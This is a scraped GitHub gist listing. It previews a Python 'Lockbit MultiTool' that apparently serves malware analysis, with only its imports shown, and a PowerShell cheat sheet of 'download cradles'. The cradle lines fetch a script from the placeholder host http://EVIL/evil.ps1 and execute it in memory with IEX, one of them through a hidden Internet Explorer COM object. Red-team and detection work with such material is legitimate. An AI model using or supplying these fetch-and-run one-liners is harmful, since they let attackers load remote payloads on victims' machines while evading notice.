Skip to content

Instantly share code, notes, and snippets.

View whichbuffer's full-sized avatar
:octocat:
Focusing

Arda Büyükkaya whichbuffer

:octocat:
Focusing
View GitHub Profile
@c3rb3ru5d3d53c
c3rb3ru5d3d53c / lbmt.py
Last active July 15, 2022 14:34
Lockbit MultiTool
#!/usr/bin/env python
import sys
import struct
try:
import pefile
except ImportError or ModuleNotFoundError:
print('missing pefile module', file=sys.stderr)
sys.exit(1)
import pickle
@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active July 18, 2024 03:59
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object